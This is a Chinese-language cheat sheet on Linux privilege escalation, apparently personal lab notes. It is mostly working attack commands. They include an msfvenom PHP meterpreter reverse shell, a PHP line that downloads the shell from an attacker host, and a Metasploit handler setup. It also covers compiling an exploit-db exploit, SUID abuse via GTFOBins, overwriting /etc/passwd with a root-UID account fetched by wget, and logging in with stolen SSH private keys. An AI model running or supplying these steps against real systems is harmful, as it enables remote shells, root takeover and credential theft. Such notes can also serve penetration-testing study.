metasploit linux提权

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > ./shell.php

file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php'));

msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.10.128
set lport 12345
exploit

//访问shell.php文件时就会获取一个session
shell

提权命令

使用模块查询漏洞

run post/multi/recon/local_exploit_suggester
getuid 查看当前用户
shell 使用终端

https://www.exploit-db.com/exploits/37292
gcc 37292.c -o exp
chmod +x exp
./exp

SUID提权

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。

chmod 4750 a.txt
4 说明 SUID 位被设置

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。

ls -al /etc/shadow
-rw-r-----

ls -al /bin/passwd
-rwsr-xr-x

查找SUID文件

以下命令可以发现系统上运行的所有SUID可执行文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

常见suid提权文件

nmap vim find more less bash cp Nano mv awk man wgets

https://gtfobins.github.io/

sudo install -m =xs $(which less) .

./less file_to_read

passwd提权

ls -al /etc/passwd
-rw-rw-rw-- 1 cc cc 2242  7月 13 11:23 /etc/passwd  #这里要求至少有w权限

root:x:0:0:root:/root:/bin/bash

openssl passwd -1 -salt coleak a123  
$1$coleak$ryLF7yBUFqHmhDrl7czEK1
coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash

wget http://192.168.10.128/a -O /etc/passwd

ssh coleak@192.168.10.157       #su coleak

ssh密钥提权

查看拥有bash的用户

cat /etc/passwd | grep bash
find / -name authorized_keys -type f 2>/dev/null
cd /home/webper/.ssh

.ssh下文件含义

id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。

id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。将主机A的id_rsa.pub内容copy到B主机的authorized_keys文件中,这样A主机就能不通过密码连接到B主机。

authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。

如果目标有使用id_rsa私钥进行登陆,并且我们有权限读取

可以将id_rsa下载或复制下来使用私钥进行登陆

md5sum id_rsa.pub
md5sum authorized_keys
chmod 600 id_rsa
ssh -i id_rsa web1@192.168.10.153